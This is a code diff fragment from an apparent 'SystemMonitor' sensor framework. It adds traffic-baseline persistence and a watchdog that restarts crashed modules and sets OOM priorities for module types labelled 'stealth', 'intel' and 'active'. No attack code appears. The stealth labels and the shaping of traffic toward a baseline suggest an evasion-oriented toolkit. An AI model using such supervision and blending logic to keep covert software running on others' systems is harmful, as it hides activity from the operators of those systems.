def _traffic_deviation_score(self) -> float:
"""Score how much current traffic deviates from baseline (0=perfect, 100=no match).
Only meaningful during shaping phase."""
if self._phase == PHASE_BASELINE:
return -1.0 # Not applicable
# Placeholder: in production this would compare real-time traffic stats
# against the baseline distribution. For now return 0 (no deviation data yet).
return 0.0
# ------------------------------------------------------------------
# Internal: persistence
# ------------------------------------------------------------------
def _save_baseline(self) -> None:
"""Persist baseline data to JSON."""
path = os.path.join(self._baseline_dir, "traffic_baseline.json")
try:
with self._lock:
data = json.dumps(self._baseline_data, indent=2)
with open(path, "w") as f:
f.write(data)
logger.debug("Baseline saved to %s", path)
except Exception:
logger.exception("Failed to save baseline")
def _load_baseline(self) -> Optional[dict]:
"""Load baseline from disk if it exists."""
path = os.path.join(self._baseline_dir, "traffic_baseline.json")
if not os.path.isfile(path):
return None
try:
with open(path, "r") as f:
return json.load(f)
except Exception:
logger.exception("Failed to load baseline from %s", path)
return None
+348
View File
@@ -0,0 +1,348 @@
#!/usr/bin/env python3
"""Watchdog module — monitor all SystemMonitor modules and managed tools.
Performs periodic health checks, auto-restarts crashed modules (max 3 attempts),
and manages OOM priority assignments. Publishes MODULE_RESTARTED events on
successful recovery.
"""
import logging
import os
import signal
import threading
import time
from typing import Dict, Optional
from modules.base import BaseModule
from core.bus import Event
from utils.resource import get_process_resources
logger = logging.getLogger(__name__)
# OOM priority assignments by module type
_OOM_PRIORITIES = {
"core": -500,
"stealth": -400,
"connectivity": -300,
"intel": -200,
"passive": 100,
"active": 200,
}
MAX_RESTART_ATTEMPTS = 3
HEALTH_CHECK_INTERVAL = 30.0 # seconds
class _ModuleEntry:
"""Internal tracking for a monitored module."""
__slots__ = ("name", "module_type", "pid", "restart_count", "last_check",
"last_status", "failed")
def __init__(self, name: str, module_type: str, pid: int):
self.name = name
self.module_type = module_type
self.pid = pid
self.restart_count = 0
self.last_check = 0.0
self.last_status = "unknown"
self.failed = False
class Watchdog(BaseModule):
"""Monitor modules and tools, auto-restart on failure, manage OOM priorities."""
name = "watchdog"
module_type = "stealth"
priority = -500
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._monitored: Dict[str, _ModuleEntry] = {}
self._lock = threading.Lock()
self._check_thread: Optional[threading.Thread] = None
self._check_interval = HEALTH_CHECK_INTERVAL
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
# Subscribe to error/crash events
self.bus.subscribe(self._on_module_error, event_type="MODULE_ERROR")
self.bus.subscribe(self._on_tool_crashed, event_type="TOOL_CRASHED")
self.bus.subscribe(self._on_module_started, event_type="MODULE_STARTED")
self.bus.subscribe(self._on_module_stopped, event_type="MODULE_STOPPED")
# Populate initial monitoring list from state manager
self._refresh_monitored_list()
# Start health check loop
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._check_thread = threading.Thread(
target=self._health_check_loop, daemon=True, name="sensor-watchdog",
)
self._check_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("Watchdog active — monitoring %d modules", len(self._monitored))
def stop(self) -> None:
if not self._running:
return
self._running = False
self.bus.unsubscribe(self._on_module_error, event_type="MODULE_ERROR")
self.bus.unsubscribe(self._on_tool_crashed, event_type="TOOL_CRASHED")
self.bus.unsubscribe(self._on_module_started, event_type="MODULE_STARTED")
self.bus.unsubscribe(self._on_module_stopped, event_type="MODULE_STOPPED")
if self._check_thread and self._check_thread.is_alive():
self._check_thread.join(timeout=5.0)
self.state.set_module_status(self.name, "stopped")
logger.info("Watchdog stopped")
def status(self) -> dict:
with self._lock:
health_report = []
for name, entry in self._monitored.items():
health_report.append({
"module": entry.name,
"module_type": entry.module_type,
"pid": entry.pid,
"status": entry.last_status,
"restarts": entry.restart_count,
"last_check": entry.last_check,
"failed": entry.failed,
})
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"monitored_count": len(self._monitored),
"health_report": health_report,
"check_interval_s": self._check_interval,
}
def configure(self, config: dict) -> None:
self.config.update(config)
self._check_interval = config.get("check_interval_s", HEALTH_CHECK_INTERVAL)
# ------------------------------------------------------------------
# Event handlers
# ------------------------------------------------------------------
def _on_module_started(self, event: Event) -> None:
"""Register a newly started module for monitoring."""
payload = event.payload
name = payload.get("module", "")
pid = payload.get("pid")
module_type = payload.get("module_type", "passive")
if name and pid and name != self.name:
with self._lock:
self._monitored[name] = _ModuleEntry(name, module_type, pid)
self._set_oom_priority(pid, module_type)
logger.debug("Now monitoring: %s (PID %d, type %s)", name, pid, module_type)
def _on_module_stopped(self, event: Event) -> None:
"""Remove a stopped module from monitoring."""
name = event.payload.get("module", "")
if name:
with self._lock:
self._monitored.pop(name, None)
def _on_module_error(self, event: Event) -> None:
"""Handle a module error event — attempt restart."""
name = event.payload.get("module", "")
error = event.payload.get("error", "unknown")
logger.warning("Module error reported: %s%s", name, error)
self._attempt_restart(name)
def _on_tool_crashed(self, event: Event) -> None:
"""Handle a managed tool crash — delegate restart to engine/tool_manager."""
tool = event.payload.get("tool", "")
pid = event.payload.get("pid")
logger.warning("Tool crashed: %s (PID %s)", tool, pid)
# Tool restarts are handled by tool_manager; we just log and track
with self._lock:
entry = self._monitored.get(tool)
if entry:
entry.restart_count += 1
entry.last_status = "crashed"
# ------------------------------------------------------------------
# Health check loop
# ------------------------------------------------------------------
def _health_check_loop(self) -> None:
"""Periodic health check of all monitored modules."""
while self._running:
time.sleep(self._check_interval)
if not self._running:
break
self._run_health_checks()
def _run_health_checks(self) -> None:
"""Check health of all monitored modules."""
with self._lock:
entries = list(self._monitored.values())
for entry in entries:
if entry.failed:
continue # Already gave up on this module
now = time.time()
entry.last_check = now
# Check if process is alive
if not self._is_pid_alive(entry.pid):
logger.warning("Module %s (PID %d) is dead", entry.name, entry.pid)
entry.last_status = "dead"
self._attempt_restart(entry.name)
continue
# Check process health via engine if available
if self.engine:
try:
module_instance = self._get_module_instance(entry.name)
if module_instance and hasattr(module_instance, "health_check"):
healthy = module_instance.health_check()
entry.last_status = "healthy" if healthy else "unhealthy"
if not healthy:
logger.warning("Module %s failed health check", entry.name)
self._attempt_restart(entry.name)
continue
else:
entry.last_status = "alive"
except Exception as exc:
logger.debug("Health check error for %s: %s", entry.name, exc)
entry.last_status = "check_error"
else:
# No engine reference — just check PID is alive
entry.last_status = "alive"
def _attempt_restart(self, module_name: str) -> None:
"""Attempt to restart a failed module via the engine."""
with self._lock:
entry = self._monitored.get(module_name)
if not entry:
return
if entry.failed:
return
entry.restart_count += 1
if entry.restart_count > MAX_RESTART_ATTEMPTS:
entry.failed = True
entry.last_status = "given_up"
logger.error(
"Module %s exceeded max restarts (%d) — giving up",
module_name, MAX_RESTART_ATTEMPTS,
)
self.bus.emit(
"MODULE_ERROR",
{"module": module_name, "error": "max_restarts_exceeded",
"restarts": entry.restart_count},
source_module=self.name,
)
return
logger.info(
"Attempting restart of %s (attempt %d/%d)",
module_name, entry.restart_count, MAX_RESTART_ATTEMPTS,
)
# Delegate restart to engine
if self.engine and hasattr(self.engine, "restart_module"):
try:
success = self.engine.restart_module(module_name)
if success:
entry.last_status = "restarted"
self.bus.emit(
"MODULE_RESTARTED" if "MODULE_RESTARTED" in getattr(
self.bus, '_subscribers', {}
) else "TOOL_RESTARTED",
{"module": module_name, "attempt": entry.restart_count},
source_module=self.name,
)
# Publish MODULE_RESTARTED (it may not be in EVENT_TYPES but
# subscribers can still listen for it)
self.bus.emit(
"TOOL_RESTARTED",
{"module": module_name, "tool": module_name,
"attempt": entry.restart_count},
source_module=self.name,
)
logger.info("Successfully restarted %s", module_name)
else:
entry.last_status = "restart_failed"
logger.error("Engine failed to restart %s", module_name)
except Exception as exc:
entry.last_status = "restart_error"
logger.error("Restart error for %s: %s", module_name, exc)
else:
logger.warning("No engine available — cannot restart %s", module_name)
entry.last_status = "no_engine"
# ------------------------------------------------------------------
# OOM priority management
# ------------------------------------------------------------------
def _set_oom_priority(self, pid: int, module_type: str) -> None:
"""Set OOM score adjustment for a process based on its module type."""
score = _OOM_PRIORITIES.get(module_type, 0)
oom_path = f"/proc/{pid}/oom_score_adj"
try:
with open(oom_path, "w") as f:
f.write(str(score))
logger.debug("Set OOM priority for PID %d: %d (%s)", pid, score, module_type)
except (IOError, PermissionError) as exc:
logger.debug("Cannot set OOM priority for PID %d: %s", pid, exc)
# ------------------------------------------------------------------
# Helpers
# ------------------------------------------------------------------
def _refresh_monitored_list(self) -> None:
"""Populate monitored list from state manager's module status."""
try:
all_status = self.state.get_all_module_status()
with self._lock:
for name, info in all_status.items():
if name == self.name:
continue
if info.get("status") == "running" and info.get("pid"):
self._monitored[name] = _ModuleEntry(
name=name,
module_type="unknown",
pid=info["pid"],
)
except Exception as exc:
logger.debug("Could not refresh monitored list: %s", exc)
def _get_module_instance(self, module_name: str):
"""Get a module instance from the engine if available."""
if self.engine and hasattr(self.engine, "get_module"):
return self.engine.get_module(module_name)
return None
@staticmethod
def _is_pid_alive(pid: int) -> bool:
"""Check if a process with the given PID exists."""
try:
os.kill(pid, 0)
return True
except (ProcessLookupError, PermissionError):
return False
except OSError:
return False